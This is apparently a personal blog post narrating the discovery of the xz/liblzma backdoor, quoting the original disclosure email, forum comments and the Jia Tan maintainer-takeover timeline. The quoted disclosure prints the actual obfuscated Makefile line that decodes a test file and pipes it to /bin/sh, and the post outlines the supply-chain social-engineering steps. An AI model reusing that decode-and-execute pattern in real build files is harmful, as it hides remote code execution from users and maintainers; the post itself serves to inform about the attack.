I woke up, checked my phone and noticed an unusual amount of messages in the group chat—especially for a Saturday morning.
Taking a look, it was a tweakers article about a xz library being potentially backdoored.
"Yes sure, let's have some cereal first."
It's not uncommon to hear headlines about some library being potentially vulnerable.
Usually it's just an insanely skilled researcher finding an obscure memory glitch in a widespread program that could potentially be weaponized—with lots of ifs and a ton of work—like Spectre and Meltdown or the more recent Apple M-series chip vulnerability.
Anyways I still had a weird feeling of things not adding up, so I went back to my phone, opened the article and—wow—things were immediately looking weird.
Hi,
After observing a few odd symptoms around liblzma (part of the xz package) on
Debian sid installations over the last weeks (logins with ssh taking a lot of
CPU, valgrind errors) I figured out the answer:
[ … ]
The upstream xz repository and the xz tarballs have been backdoored.
Okay Andres you got my attention, go on
One portion of the backdoor is solely in the distributed tarballs for 5.6.0 and 5.6.1
[…]
That line is not in the upstream source of build-to-host, nor is
build-to-host used by xz in git.
[…]
This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.
Obfuscated payload in an open source repo ? This cannot be real
This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.
This script is executed and, if some preconditions match, modifies
$builddir/src/liblzma/Makefile to contain
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####
No fucking way
This is a textbook attack, a script whose source code is never publicly shown injects an obfuscated payload, into, guess what 🥁🥁🥁?
== Impact on sshd ==
The prior section explains that RSA_public_decrypt@....plt was redirected to
point into the backdoor code. The trace I was analyzing indeed shows that
during a pubkey login the exploit code is invoked
Yes, sshd. The login daemon—the one that controls access to your entire system. I don't even need to investigate further what this thing can do. The sophistication of the attack deployment alone makes it a 10/10 threat. We can safely assume the payload is just as deadly, likely creating a backdoor that gives full system access to a botnet or a group of attackers hiding somewhere in a bunker.
Do we really need more? I mean, what else could possibly go wrong?
This is only in the testing branch, right, right? It never made it to production... rright?
oh nice, my pc is also infected… I mean, it could. At least it appears that the malicious code only targets Linux, thanks mr hacker my macbook is safe..
Who is behind it ?
Ok so, the story is just mind boggling, but if everything happened in clear sight there should be some traces, apparently hackernews was already bloated with posts about it, the main one opens with.
Very annoying - the apparent author of the backdoor was in communication with me over several weeks trying to get xz 5.6.x added to Fedora 40 & 41 because of it's "great new features". We even worked with him to fix the valgrind issue (which it turns out now was caused by the backdoor he had added). We had to race last night to fix the problem after an inadvertent break of the embargo.
He has been part of the xz project for 2 years, adding all sorts of binary test files, and to be honest with this level of sophistication I would be suspicious of even older versions of xz until proven otherwise.
And a few comments down
PSA: I just noticed homebrew installed the compromised version on my Mac as a dependency of some other package. You may want to check this to see what version you get
Yeah, I noticed, but who was behind all this? And then finally the name appeared: <a href="https://github.com/JiaT75">@JiaT75</a>
💡
Finally I found this amazing real-time post about Jia Tan
The GitHub account had been created in 2021.
The first commits they made were not to xz, but they were deeply suspicious.
This commit did more than it claimed. It replaced safe_fprint with an unsafe variant, potentially introducing another vulnerability. The code was merged without any discussion, and lives on to this day (patched).
After this great debut with libarchive, Jia Tan set their sights on a bigger target. In April 2022, a sock puppet account, Jigar Kumar, appeared and pressured Lasse Collin, the maintainer of xz—who was already experiencing declared mental fatigue—to get a new maintainer for the repo.
After this request, the perfect candidate, JiaT75, appeared to the rescue.
In fact, he as been contributing a lot to xz from 2022 through 2024, gaining increasing trust in the community, thus making him the perfect candidate to substitute the original mantainer.
Through their new position, JiaT75 systematically unraveled his their malicious plan:
Add hardware tests to the repo (enabling unnoticed binary blob uploads that he will exploit later)
Change the deployment infrastructure to a new one he owned
Disabling ifunc checks in oss-fuzz (preventing Google's automated security tests from raising alerts)
Update the exploit as a test case dependency
Commit the infamous malicious line that uses the compromised library
Use sock puppet accounts to push versions 5.6.0 and 5.6.1 into major repositories, including:
However I think it’s important to reflect on 3 points now
This cannot be an individual, maybe in the future we’ll discover who’s behind that. I don’t like pure speculation but honestly I wouldn’t be surprised if China, Russia or NSA were involved in any way
This vulnerability has been found trough sheer luck, investigations are now ongoing on everything related to Jia on the internet… but what if this wasn’t the first time ? what if another one is already there in the field
And finally this is big, everybody knew that tan episode like this could happen, but this time it actuallyhappened and I am curious to see were the shockwaves will arrive.
PS: It is just to weird seeing your package manager just forcefully downgrade a package cause, you know…. it was a malware
